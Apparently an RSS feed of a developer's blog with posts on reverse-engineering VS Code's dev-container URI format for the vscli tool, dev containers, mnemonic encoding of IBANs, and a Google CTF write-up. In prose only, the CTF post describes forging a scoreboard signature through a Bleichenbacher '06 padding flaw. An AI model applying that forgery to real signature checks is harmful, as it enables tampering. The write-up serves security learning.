<p><a target="_blank" href="https://github.com/michidk/vscli/issues/24">It was brought to my attention</a>, that the dev containers spec/vscode released <a target="_blank" href="https://github.com/microsoft/vscode-docs/blob/main/remote-release-notes/v1_75.md#folders-with-multiple-devcontainerjson-files">a new feature</a>, which would allow having multiple dev container definitions inside one project (by creating multiple configuration files in different places). I needed to try it out immediately, and actually found several use cases in my projects - so vscli needs to support it as well!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698735721444/28e2579f-d12f-47cd-8faa-691392865e34.png" alt class="image--center mx-auto" /></p>
<p>But how would I tell vscode which container to open? Using the strategy mentioned earlier, there is no way to point to some specific config. I did some research, and I haven't found a single codebase or shell script containing code to open dev containers in any other way than the command above. So nobody either managed or cared enough to figure this out. Is it even possible? Well, it has to, since vscode does it too!</p>
<h2 id="heading-down-the-rabbit-hole">Down the rabbit hole...</h2>
<p>So I sat down together with <a target="_blank" href="https://github.com/Shemnei/">my buddy</a> and did a late-night investigation. Here is how it went (spoiler: we actually figured it out in the end).</p>
<p>First, we had a look at the closed-source version of dev container CLI again, maybe it supports this? Turns out it does!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698736883701/e6ee70d1-3bb2-44b8-8eea-ce65f003543c.png" alt class="image--center mx-auto" /></p>
<p>So we downloaded the source code of the dev container extension from the official marketplace: <a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers">https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers</a>. This gives us the <code>ms-vscode-remote.remote-containers-0.320.0.vsix</code> file. Since <code>.vsix</code> is basically just a <code>.zip</code> file, after extracting it we could explore the extension.</p>
<p>Luckily they not only included the compiled binary but also the Node JavaScript "source code": <code>extension/dev-containers-user-cli/dist/node/devContainersUserCLI.js</code>. However, it's not real source code, since the source application is probably written in TypeScript, and what we get to see is the minified, transpiled JavaScript:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698737361459/ed7ae27f-9515-42a4-9e65-18b363e90304.png" alt class="image--center mx-auto" /></p>
<p>This code is optimized for minimal size, so most of the functions and variable names are renamed to one-letter names and everything is put into one line without spaces.</p>
<h2 id="heading-making-sense-of-the-code">Making sense of the code</h2>
<p>Since this code is unreadable, it is very hard to get the control flow. We started by searching for strings we know, like <code>vscode-remote://dev-container</code>. And we had a match! The extracted and formatted function which uses this string looks like this:</p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Z$</span>(<span class="hljs-params">t, e, n, r, i, o</span>) </span>{
  t = moe(t);
  <span class="hljs-keyword">let</span> s =
    r || o
      ? <span class="hljs-built_in">JSON</span>.stringify({
          <span class="hljs-attr">hostPath</span>: e,
          <span class="hljs-attr">localDocker</span>: i,
          <span class="hljs-attr">settings</span>: r,
          <span class="hljs-attr">configFile</span>: o,
        })
      : e;
  <span class="hljs-keyword">return</span> <span class="hljs-string">`vscode-remote://dev-container+<span class="hljs-subst">${Buffer.<span class="hljs-keyword">from</span>(s, <span class="hljs-string">"utf8"</span>).toString(
    <span class="hljs-string">"hex"</span>
  )}</span><span class="hljs-subst">${t ? <span class="hljs-string">`@<span class="hljs-subst">${t}</span>`</span> : <span class="hljs-string">""</span>}</span><span class="hljs-subst">${n}</span>`</span>;
}
</code></pre>
<p>We can see that whatever is put behind the <code>+</code> (variable <code>s</code>) is converted into hex, as we already know. <code>n</code> is the workspace path and the final part of the URI. <code>t</code> is an optional parameter I am not quite sure of. But if we look into how <code>s</code> (the hex-encoded part) is defined, we can see that it is either <code>e</code> or some JSON string depending on how <code>r || o</code> evaluated.</p>
<p>So this seems to be the solution to the problem! It is possible to pass in more data than just the project path! We don't really care for <code>r</code> and <code>o</code> at this point, but if we look into how the JSON string is constructed, we can even read what they are: <code>r</code> seems to be some additional <code>settings</code> and <code>o</code> the <code>configFile</code>? <code>e</code> is the <code>hostPath</code>, which is also used when we don't use the JSON string. So this is the path to the project we also used in the old approach. <code>i</code> which is put into the <code>localDocker</code> field is probably some boolean that describes whether to use a local or remote Docker host.</p>
<h2 id="heading-did-we-solve-it">Did we solve it?</h2>
<p>The <code>configFile</code> parameter is probably the file path of the dev container config file we are trying to load. So let's build up the following JSON and try to open vscode:</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"hostPath"</span>: <span class="hljs-string">"\\wsl.localhost\Arch\home\michi\dev\vscli"</span>,
    <span class="hljs-attr">"configFile"</span>: <span class="hljs-string">"\\wsl.localhost\Arch\home\michi\dev\vscli\.devcontainer\testContainer.json"</span>
}
</code></pre>
<p>Which opens vscode, but it will complain with the following error: <code>\[UriError\]: Scheme contains illegal character</code>.</p>
<p>We tested a few options to debug this:</p>
<ul>
<li><p>Only using <code>hostPath</code> without <code>configFile</code>: works (but we cannot choose a dev container config)</p>
</li>
<li><p>Directly putting the dev container config file contents into <code>configFile</code>: <code>UriError</code></p>
</li>
<li><p>Using Windows style file paths: <code>UriError</code></p>
</li>
</ul>
<p>So <code>configFile</code> expects some special URI format? It's time to look into the code a bit more: <code>Z$</code> is called only once:</p>
<pre><code class="lang-javascript">  <span class="hljs-keyword">let</span> q = Z$(
      <span class="hljs-keyword">void</span> <span class="hljs-number">0</span>,
      p,
      w.workspaceFolder,
      <span class="hljs-keyword">void</span> <span class="hljs-number">0</span>,
      <span class="hljs-keyword">void</span> <span class="hljs-number">0</span>,
      e ? qn.file(Ze.resolve(process.cwd(), e)) : <span class="hljs-keyword">void</span> <span class="hljs-number">0</span>
    ),
</code></pre>
<p>Most parameters are <code>void 0</code>, which is the shorter equivalent of <code>undefined</code>. This shows that <code>r</code>, <code>i</code> and <code>t</code> of <code>Z$</code> are actually not used (probably for legacy reasons), so we always use the JSON format nowadays. We also learn how the input to the <code>hostPath</code> is constructed: <code>qn.file(Ze.resolve(process.cwd(), e))</code>.</p>
<p>At first look, it looks like it combines the path of the current folder (<code>process.cwd()</code>) and the relative path to the dev container config file and then passes it into a function that builds the file representation that the URI expects. After some investigation and finally ended up with this code:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">var</span> LP = ae(<span class="hljs-built_in">require</span>(<span class="hljs-string">"os"</span>)),
 Ze = ae(<span class="hljs-built_in">require</span>(<span class="hljs-string">"path"</span>));
</code></pre>
<p>We concluded that <code>Ze.resolve()</code> is part of the <a target="_blank" href="https://nodejs.org/api/path.html#pathresolvepaths">node.js path</a> library and indeed combines path segments.</p>
<h2 id="heading-the-last-mystery-file">The last mystery: <code>.file()</code></h2>
<p>This one was difficult. We really could not make sense of this method, since it was part of a bigger library:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">var</span> { <span class="hljs-attr">URI</span>: qn, <span class="hljs-attr">Utils</span>: awe } = AF;

<span class="hljs-comment">// and then somewhere else in the code</span>
<span class="hljs-comment">// ...</span>
        (D.extname = <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">A</span>) </span>{
          <span class="hljs-keyword">return</span> F.extname(A.path);
        });
    })(R || (R = {}));
  })(),
    (AF = r);
})();
</code></pre>
<p>Luckily, somewhere in this library, we found an error message: <code>The "pathObject" argument must be of type Object. Received type ...</code>. I was never as excited before to find an error message. But this is something we can Google and maybe find out which library it is!</p>
<p>And it worked! We found a <a target="_blank" href="https://github.com/microsoft/vscode/issues/93220">GitHub issue</a> in the vscode GitHub repo, which referenced the <a target="_blank" href="https://github.com/microsoft/vscode/blob/main/src/vs/base/common/uri.ts">exact file it is implemented in</a>. Turns out this is the internal URI library of vscode!</p>
<p>The code is still quite complex, but there was an easier way anyways. I just opened up the developer tools in vscode and called the <code>.file()</code> function directly, passing in the path to my dev container config:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699098397246/9d5f2ecc-045a-4483-9465-a650f3a10967.png" alt class="image--center mx-auto" /></p>
<p>So the <code>.file()</code> method returns an object that is directly serialized into JSON. The <code>UriError</code> message from before probably hinted at the <code>"scheme":"file",</code> property missing. This does not look like a proper URI interface and is probably an accident, where the developers forgot to properly serialize the path - but hey, we figured it out!</p>
<p>So now we can use the following JSON to open our dev containers with multiple config files:</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"hostPath"</span>: <span class="hljs-string">"\\wsl.localhost\Arch\home\michi\dev\vscli"</span>,
  <span class="hljs-attr">"configFile"</span>: {
    <span class="hljs-attr">"$mid"</span>: <span class="hljs-number">1</span>, <span class="hljs-comment">// optional</span>
    <span class="hljs-attr">"path"</span>: <span class="hljs-string">"/Arch/home/michi/temp/multi/.devcontainer.json"</span>,
    <span class="hljs-attr">"scheme"</span>: <span class="hljs-string">"file"</span>,
    <span class="hljs-attr">"authority"</span>: <span class="hljs-string">"wsl.localhost"</span>
  }
}
</code></pre>
<p>There is still some work to do with getting the paths in the proper format and to make this work on Windows, but this should get you started if you want to implement this yourself. Check out the implementation of this in vscli here: <a target="_blank" href="https://github.com/michidk/vscli/blob/main/src/uri.rs">https://github.com/michidk/vscli/blob/main/src/uri.rs</a></p>
<p>Now, if you try to open a project with more than one dev container using vscli, the following dialog will appear:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1699987337463/3ecaeb66-fa96-4a99-9168-d67fd25da1d1.png" alt class="image--center mx-auto" /></p>
<p>Want to use vscli yourself? Check it out on GitHub: <a target="_blank" href="https://github.com/michidk/vscli">https://github.com/michidk/vscli</a></p>
]]></content:encoded></item><item><title><![CDATA[Dev Containers: Open, Develop, Repeat...]]></title><description><![CDATA[Dev containers allow you to open up projects and have them running in a fully pre-configured environment with one click!
It is especially useful if you want to keep your system clean of different SDKs with different (conflicting) Versions (looking at...]]></description><link>https://blog.lohr.dev/dev-containers</link><guid isPermaLink="true">https://blog.lohr.dev/dev-containers</guid><category><![CDATA[vscode]]></category><category><![CDATA[devcontainer]]></category><category><![CDATA[vscode extensions]]></category><category><![CDATA[Docker]]></category><category><![CDATA[Developer Tools]]></category><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Mon, 30 Oct 2023 08:06:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/bukjsECgmeU/upload/5187fb32eb1c41d4c0fa38516e3eb1da.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Dev containers allow you to open up projects and have them running in a fully pre-configured environment with one click!</p>
<p>It is especially useful if you want to keep your system clean of different SDKs with different (<em>conflicting</em>) Versions (looking at you Python 👀) or work on many different projects, which require different setups. It is also helpful to provide a dev container for other people to start working on your projects because they get up and running within seconds!</p>
<p>I have used them for more than two years and it made my developer workflow so much easier. I nowadays use them in every project - work and private!</p>
<h2 id="heading-intro">Intro</h2>
<p>How it works? <a target="_blank" href="https://containers.dev/">Dev containers</a> is a specification based on <a target="_blank" href="https://www.docker.com/">Docker</a>. This specification describes a <a target="_blank" href="https://containers.dev/implementors/json_reference/">metadata file</a> (<code>devcontainer.json</code>), which defines how the project (Docker container, IDE settings, plugins, etc) is set up.</p>
<p>It can look as simple as:</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"name"</span>: <span class="hljs-string">"Rust"</span>,
    <span class="hljs-attr">"image"</span>: <span class="hljs-string">"mcr.microsoft.com/devcontainers/rust:1-bullseye"</span>,
}
</code></pre>
<p>Or get more complex like, this configuration which is based on a local Dockerfile, installs "dev container features" (will be explained later), configures some extensions, and my terminal:</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"name"</span>: <span class="hljs-string">"My Rust IDE"</span>,
    <span class="hljs-attr">"build"</span>: { <span class="hljs-attr">"dockerfile"</span>: <span class="hljs-string">"Dockerfile"</span> },
    <span class="hljs-attr">"features"</span>: {
        <span class="hljs-attr">"ghcr.io/guiyomh/features/just:0"</span>: {}
    },
    <span class="hljs-attr">"customizations"</span>: {
        <span class="hljs-attr">"vscode"</span>: {
            <span class="hljs-attr">"extensions"</span>: [
                <span class="hljs-string">"rust-lang.rust-analyzer"</span>,
                <span class="hljs-string">"tamasfe.even-better-toml"</span>,
                <span class="hljs-string">"serayuzgur.crates"</span>,
                <span class="hljs-string">"kokakiwi.vscode-just"</span>
            ],
            <span class="hljs-attr">"settings"</span>: {
                <span class="hljs-attr">"terminal.integrated.defaultProfile"</span>: <span class="hljs-string">"zsh"</span>
            }
        }
    }
}
</code></pre>
<p>As you can see from the <code>customizations</code> section, dev containers are IDE agnostic. For example, there is a project implementing <a target="_blank" href="https://github.com/esensar/nvim-dev-container">dev container support into nvim</a>. But since the <a target="_blank" href="https://code.visualstudio.com/">Visual Studio Code</a> (vscode) team at Microsoft invented dev containers, it is currently the IDE with the best dev container experience.</p>
<p>A dev container can be bootstraped by using the vscode UI or creating the configuration file by hand. There are a bunch of pre-made dev container configurations maintained by the vscode team and community ready to be used:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698650934760/eccbb7cb-bd01-4778-a488-279a6d555927.png" alt class="image--center mx-auto" /></p>
<p>This video is a good resource on how to learn the basics of dev containers and how to use them in vscode:</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.youtube.com/watch?v=b1RavPr_878">https://www.youtube.com/watch?v=b1RavPr_878</a></div>
<p> </p>
<h2 id="heading-dev-container-features">Dev Container Features</h2>
<p>dev containers not only allow you to define which extensions should be installed and which configuration settings shall be set, but they also have something they call <a target="_blank" href="https://github.com/devcontainers/features">"dev container features"</a>.</p>
<p>They are reusable modules that contain installation scripts and dev container configurations. This means allows you to configure your development environment even quicker (and install them using a vscode UI).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698652313446/fb39f2e0-ba06-4a48-b8b6-168177c3d8f4.png" alt class="image--center mx-auto" /></p>
<p>In my example above, I installed the developer tool "<a target="_blank" href="https://github.com/casey/just">Just</a>" as a dev container feature. I could also install it by adding the install script to my Dockerfile. However, I would have to build my own Dockerfile and would have to maintain this piece of code myself. This dev container Feature works on different architectures and base images, which makes them convenient to use.</p>
<p>A list of available dev container features, can be found <a target="_blank" href="https://containers.dev/features">here</a>. However, you can also develop your own features and publish them, <a target="_blank" href="https://github.com/michidk/devcontainers-features/">like I did</a>.</p>
<h1 id="heading-opening-dev-containers-from-the-cli">Opening dev containers From the CLI</h1>
<p>So you can use dev containers from the vscode user interface rather intuitively. All configurations can also be edited directly and there is even a <a target="_blank" href="https://github.com/devcontainers/cli">CLI</a>. However, this CLI is made editor agnostic, so there is no vscode integration.</p>
<p>What I have been always missing was just a simple command to open up a dev container in my current directory, inside vscode. Turns out it is not that easy!</p>
<p>Now, there is a proprietary dev container CLI version included in vscode (which can be only installed by adding <code>C:\Users\&lt;USER&gt;\AppData\Roaming\Code\User\globalStorage\ms-vscode-remote.remote-containers\cli-bin</code> to the <code>PATH</code>), that offers a <code>devcontainer open</code> command. I am not sure if there is a version for Linux as well. But what I am sure of, is that it sends some kind of telemetry data to Microsoft by default.</p>
<p>I was not happy with this solution, so I built <a target="_blank" href="https://github.com/michidk/vscli">vscli</a>, a vscode CLI tool to launch projects and support dev containers. It works on most platforms and is written in Rust. It includes a simple terminal UI, which allows you to quick-launch your recently opened projects:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698652742060/7c4d3654-d45a-4599-acbd-86c8e59e1345.png" alt class="image--center mx-auto" /></p>
<p>Check it out here: <a target="_blank" href="https://github.com/michidk/vscli">https://github.com/michidk/vscli</a></p>
<h2 id="heading-github-codespaces">GitHub Codespaces</h2>
<p>dev containers also power <a target="_blank" href="https://github.com/features/codespaces">GitHub Codespaces</a>, which allows you to have the same dev container experience in the Browser running in the Cloud!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698652292169/89b7c583-3d9a-45d3-b37d-7e4d3a62487a.png" alt class="image--center mx-auto" /></p>
<p>It is a bit like <code>github.dev</code> (you can replace the <code>.com</code> with a <code>.dev</code> or just press <code>.</code> on any GitHub repo and you will get the project editable in a vscode web version), but with all the extensions and dev container running on a machine in the Cloud.</p>
<h2 id="heading-closing-thoughts">Closing Thoughts</h2>
<p>I recommend you to check out dev containers, it made my life so much easier. At this stage, they are also pretty mature and supported by a large community.</p>
<p>I even know some VIM people, using vscode from time to time just because of dev containers 😉</p>
]]></content:encoded></item><item><title><![CDATA[Making IBANs more memorable]]></title><description><![CDATA[Or: "How I fixed IBANs with Bitcoin". This article is supposed to walk you through the journey I had while exploring an idea I had in mind for making IBANs more memorable.
The IBAN (International Bank]]></description><link>https://blog.lohr.dev/making-ibans-more-memorable</link><guid isPermaLink="true">https://blog.lohr.dev/making-ibans-more-memorable</guid><category><![CDATA[mnemonic]]></category><category><![CDATA[IBAN]]></category><category><![CDATA[banking]]></category><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Sun, 18 Jun 2023 16:09:40 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/Q59HmzK38eQ/upload/15166a36850fe2f3b69b530e82516cd6.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Or: "How I fixed IBANs with Bitcoin". This article is supposed to walk you through the journey I had while exploring an idea I had in mind for making IBANs more memorable.</p>
<p>The IBAN (International Bank Account Number) is a standardized international numbering system for bank accounts. It's used across countries to send money securely from one bank account to another.</p>
<p>In Germany, an IBAN might look like this: <em>DE67834783927384738238</em>. Now if you lend someone money for lunch (because they didn't have cash on them) and want it back, you would send them your IBAN. Now you have three options:</p>
<ul>
<li><p>Log in (and authenticate) to your banking app and copy &amp; paste the IBAN</p>
</li>
<li><p>Copy it out from your notes app, where you wrote it down before</p>
</li>
<li><p>Take out your banking card and copy the IBAN number that is printed on it</p>
</li>
<li><p>You both have PayPal, and you just share your email</p>
</li>
<li><p>You are a maniac and know your IBAN by heart</p>
</li>
</ul>
<p>All those options are a bit annoying and dependent on how often you find yourself in such a scenario, you might get pissed off about how unmemorable IBANs are. I am pissed off about how unmemorable IBANs are (in case you wondered).</p>
<h1>Inspiration</h1>
<p>You might have heard of BIP-0039. No, you probably didn't, but you might have seen something like this:</p>
<pre><code class="language-plaintext">canyon situate farm wedding cluster budget truck bag goose
obtain surround soda cable galaxy spoil utility tip remember
scan danger cat lawsuit staff riot
</code></pre>
<p>This is a Bitcoin wallet seed encoded in the so-called <em>mnemonic code</em>, which was proposed in <a href="https://en.bitcoin.it/wiki/BIP_0039">BIP-0039</a>. It is easier to remember, verbally communicate and write down than binary or hexadecimal data. This would be really handy to have for IBANs as well!</p>
<blockquote>
<p>I want my IBAN to be a 'simple cluster truck wedding bag goose soda galaxy'</p>
</blockquote>
<p>The Bitcoin implementation comes with a few Bitcoin-specific add-ons, which we don't need. So we could just follow the implementation by <a href="https://web.archive.org/web/20100105040244/http://tothink.com/mnemonic/index.html">Oren Tirosh</a>, which everybody seems to reference when talking about mnemonic code.</p>
<h1>The Theory</h1>
<p>The Mnemonic encoding by Oren works by taking a segment of bytes and calculating an index that maps to a word of a wordlist. This is not just one random wordlist extracted from a dictionary. The words are carefully selected by adhering to a set of criteria (which is heavily discussed on the internet), as seen <a href="https://gist.github.com/fogleman/c4a1f69f34c7e8a00da8">here</a>. So we just have to import some library and convert an IBAN into a bunch of bytes?</p>
<p>Well, first, we have to discuss how we actually convert an IBAN to bytes. We want to use as few bytes as possible since each extra byte will result in additional words, which one must remember.</p>
<h2>How IBANs work</h2>
<p>But in order to be able to properly encode IBANs into bytes, we first have to understand what they are and how they work.</p>
<p>IBANs are defined in the ISO 13616-1 standard, which is actually quite readable (which I am not used to when reading standards). It defines that an IBAN consists of the following elements:</p>
<ol>
<li><p>Two-letter country code, aka "alpha-2 code", according to ISO 3166-1</p>
</li>
<li><p>A checksum consisting of two numbers</p>
</li>
<li><p>Up to 30 characters and numbers called the "BBAN"</p>
</li>
</ol>
<p>The BBAN has to have a fixed size per country code and also encode a bank identifier whose position and length are also fixed per country code. The following image from a PMPG whitepaper visualizes it quite well (<a href="https://www.swift.com/sites/default/files/documents/swift_pmpg_whitepaper_ibanincommercialpayments.pdf">source</a>):</p>
<p><a href="https://www.swift.com/sites/default/files/documents/swift_pmpg_whitepaper_ibanincommercialpayments.pdf"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698649112482/525355c2-3fd1-4e62-80b1-571218858c3e.png" alt="IBAN structure visualized" style="display:block;margin:0 auto" /></a></p>
<p>This means that each country has its own "sub-standard" for IBANs (or BBANs, to be specific).</p>
<img src="https://media3.giphy.com/media/v1.Y2lkPTc5MGI3NjExbmY4ZmExbzFwbTczczVuNTRyMjk0bDJzcHAyZjc5bTd3endxNXEzZyZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/ToMjGpIYtgvMP38WTFC/giphy.gif" alt="" style="display:block;margin:0 auto" />

<p>The country code is often indexed by a numeric code that is bigger than 255, meaning it would not fit in one byte. But if you look at <a href="https://en.wikipedia.org/wiki/List_of_ISO_3166_country_codes#Current_ISO_3166_country_codes">the actual country code list</a>, there are just 249 entries. This means by simply numbering them from 0 to 248, we can store that index in just one byte.</p>
<p>In theory, we could remove the checksum from the mnemonic code and <a href="https://en.wikipedia.org/wiki/International_Bank_Account_Number#Generating_IBAN_check_digits">recalculate it</a> when parsing the code, which would remove one byte. Since mixing up a word is more unlikely than mixing up a number, this could be a valid consideration. However, I think mixing up the order of words is still pretty likely, so some kind of verification check is still necessary.</p>
<p>Encoding the BAN is the difficult part: Each country has its own BBAN standard, as seen on <a href="https://en.wikipedia.org/wiki/International_Bank_Account_Number#IBAN_formats_by_country">Wikipedia</a>. It would be nice to have a way to support arbitrary IBAN numbers and convert them to bytes in the most space-efficient way. For this, one probably has to incorporate the country-specific BBAN specification to parse characters and numbers in the correct places (numbers need way fewer bytes than characters).</p>
<p>For German IBANs, it's quite easy: After the checksum, there are 18 numeric characters left to parse. The first 8 are the bank identifier, and the following 10 are the account number. These 18 numbers characters can be interpreted as a 7-byte integer. No ASCII characters, which would increase the byte representation in size. Together with the country code, we arrive at 8 bytes in total.</p>
<p>For comparison, here are some other countries with their IBAN format and required bytes:</p>
<table>
<thead>
<tr>
<th>Country</th>
<th>IBAN Length</th>
<th>Format (excluding country code and check digits)</th>
<th>Bytes</th>
</tr>
</thead>
<tbody><tr>
<td>Germany</td>
<td>22</td>
<td>8 numeric (BLZ), 10 numeric (Account No.)</td>
<td>8</td>
</tr>
<tr>
<td>France</td>
<td>27</td>
<td>5 numeric, 5 numeric, 11 numeric, 2 numeric</td>
<td>11</td>
</tr>
<tr>
<td>United Kingdom</td>
<td>22</td>
<td>4 alphanumeric (Sort Code), 6 numeric, 8 numeric</td>
<td>11</td>
</tr>
<tr>
<td>Spain</td>
<td>24</td>
<td>4 numeric, 4 numeric, 10 numeric, 2 numeric</td>
<td>10</td>
</tr>
<tr>
<td>Italy</td>
<td>27</td>
<td>1 alphanumeric, 5 numeric, 5 numeric, 12 numeric</td>
<td>12</td>
</tr>
<tr>
<td>Netherlands</td>
<td>18</td>
<td>4 alphanumeric, 10 numeric</td>
<td>8</td>
</tr>
<tr>
<td>Belgium</td>
<td>16</td>
<td>3 numeric, 7 numeric, 2 numeric</td>
<td>6</td>
</tr>
</tbody></table>
<h1>Implementation</h1>
<p>Most programming languages have libraries that already implement Oren's mnemonic encoder/decoder (e.g., <a href="https://pypi.org/project/mnemonic/">Python</a> or <a href="https://pypi.org/project/mnemonic/">Rust</a>).</p>
<p>So to implement the conversion from some IBAN string to mnemonic code, we would follow these steps:</p>
<ol>
<li><p>Split the country code of the IBAN, so that checksum and BBAN remain</p>
</li>
<li><p>Calculate the index of the country code and convert it to a byte</p>
</li>
<li><p>Parse the checksum and BBAN as some big integer and convert it into bytes</p>
</li>
<li><p>Put the country code byte and other bytes together and feed them into the mnemonic encoding library</p>
</li>
</ol>
<p>To implement parsing the mnemonic code into an IBAN, we would just reverse the steps. If we discarded the checksum while encoding, we would have to <a href="https://en.wikipedia.org/wiki/International_Bank_Account_Number#Generating_IBAN_check_digits">recalculate it</a> again. I also recommend verifying the IBAN using <a href="https://en.wikipedia.org/wiki/International_Bank_Account_Number#Validating_the_IBAN">its built-in checksum mechanism</a>.</p>
<p>Now we can encode and decode IBANs:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698649363401/dd3fce42-6364-4575-98aa-f6be78045f7e.png" alt="" style="display:block;margin:0 auto" />

<p>I would love to provide the source code of my implementation, but I would have to clean it up first. If you did a proper implementation of this, let me know!</p>
<h1>Further Considerations</h1>
<p>This is a list of "add-ons" to this idea, which I might extend in the future.</p>
<p>By discarding the IBAN checksum and implementing a custom <a href="https://en.wikipedia.org/wiki/Cyclic_redundancy_check">crc-based checksum</a>, one could reduce the storage footprint of the checksum.</p>
<p>It would also be possible to separately encode the checksum in an extra word which is appended to the end. Then the "checksum word" would be optional, and the user could decide whether he wants to remember this additional word.</p>
<h1>Conclusion</h1>
<p>This was a fun experiment that allowed me to dive deeper into topics that always interested me but never had a use case for. Maybe this idea is actually helpful - if you think so, let me know. I might write a simple web service that allows for an easy conversion. The problem with these things is that they are useless until not everybody (or some big banks) is adapting this. It would be really awesome if, in the future, I could just enter some words into my banking app to send my money to someone. However, there are probably also some security considerations I haven't thought of.</p>
]]></content:encoded></item><item><title><![CDATA[Hacking Google CTF - Episode 5]]></title><description><![CDATA[This is a write-up about how I solved the sixth episode of the H4CK1NG GOOGL3 security CTF. If you didn't read my post about the first episode, I highly recommend you to check it out since it introduces the concept of a CTF.
It took me quite a while ...]]></description><link>https://blog.lohr.dev/hacking-google-ctf-episode-5</link><guid isPermaLink="true">https://blog.lohr.dev/hacking-google-ctf-episode-5</guid><category><![CDATA[hacking]]></category><category><![CDATA[Write Up]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Google]]></category><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Sat, 04 Feb 2023 16:43:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1675526820440/d48233c2-2d9a-4a24-939e-232941b1d210.avif" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This is a write-up about how I solved the sixth episode of the <a target="_blank" href="https://h4ck1ng.google/">H4CK1NG GOOGL3</a> security CTF. If you didn't read <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">my post about the first episode</a>, I highly recommend you to check it out since it introduces the concept of a CTF.</p>
<p>It took me quite a while to write those write-ups (especially this one - the last one), so I kept it rather short this time. The more exciting challenges were the first couple ones, anyways.</p>
<h1 id="heading-challenge-01-small-toys">Challenge 01: Small Toys</h1>
<blockquote>
<p>Hints:</p>
<ul>
<li>One of the researchers really liked small toys.</li>
</ul>
</blockquote>
<p>The first challenge came with a binary file containing data that I could not really make sense of:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1675527210432/7fdc7123-c931-4a6f-894f-56d8f67ab83c.png" alt class="image--center mx-auto" /></p>
<p>Someone hinted to me that in the video that is provided with each challenge, one of the researchers really liked small digital toys. So it became clear that this has to be some kind of graphical data for some old black and white display. Maybe there were talking about <a target="_blank" href="https://en.wikipedia.org/wiki/Tamagotchi">Tamagotchis</a>?</p>
<p>It took me quite a while to figure out the image format. Turns out it's an animation sheet with multiple smaller pictures that use some weird padding. Also, it actually contains greyscale color information, so not only black &amp; white.</p>
<p>So I wrote a Python script to parse this weird format and convert it into jpg files. One of the resulting images looked like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1675527544382/c6928964-aa3f-404d-b27f-8d88f07c6a6e.png" alt class="image--center mx-auto" /></p>
<p>Putting all images in a line reveals some text containing the flag.</p>
<h1 id="heading-challenge-02-bleichenbacher">Challenge 02: Bleichenbacher</h1>
<blockquote>
<p>Hints:</p>
<ul>
<li>Have you heard of Bleichenbacher?</li>
</ul>
</blockquote>
<p>This was definitely the hardest (and most annoying) challenge, and that took me the most time.</p>
<p>The challenge presented you with a game (including it's source code) where you try to hit buttons at the right time to kill the bugs in your way - at least that's what I think it is about, never really played it for longer than a couple of seconds.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1675527757402/0af170a5-a475-4b17-bccb-629bc8b323a7.png" alt class="image--center mx-auto" /></p>
<p>From the source code, it became apparent that the flag will be revealed once the player achieves an integer overflow (for example, by successfully submitting a score of -1). The source code of the game itself wasn't too interesting, other than the fact that they implemented their own cryptography library to work with signatures, which sign the high score and send it to the scoreboard API (which is written in Python).</p>
<p>The crypto library had some issues that would allow for forging the signature using the so-called <a target="_blank" href="https://words.filippo.io/bleichenbacher-06-signature-forgery-in-python-rsa/">Bleichenbacher 06</a> attack. This is quite complicated, and I don't want to go too deep into this topic. However, it was not the standard vulnerability and worked a bit differently. Basically, one had to pass multiple checks by exploiting the padding and putting garbage into some parts of the signature.</p>
<h1 id="heading-challenge-03-morse-code">Challenge 03: Morse Code</h1>
<blockquote>
<p>Hints:</p>
<ul>
<li>There is morse code hidden somewhere</li>
</ul>
</blockquote>
<p>The third challenge was a bit different than the previous ones since it required you to go back to all the videos that came with each challenge and piece together a secret message.</p>
<p>Each video contained some morse code, which was audible but really hard to write down. So I did a spectral analysis of each part where I heard some beeping, and there the long and short beeps were more obvious:</p>
<p><img src="https://cdn.discordapp.com/attachments/249515016640790530/1028393732778766456/unknown.png" alt /></p>
<p>However, the message that came out contained a flag that did not work. They later announced at the event Discord that there was a mistake and provided the correct part.</p>
<h1 id="heading-conclusion">Conclusion</h1>
<p>The first challenge was quite fun, though I did not enjoy the others as much. However, all in all, a really fun (but quite a time intensive) CTF!</p>
<p>Episode Overview:</p>
<ul>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">Episode 0</a></p>
</li>
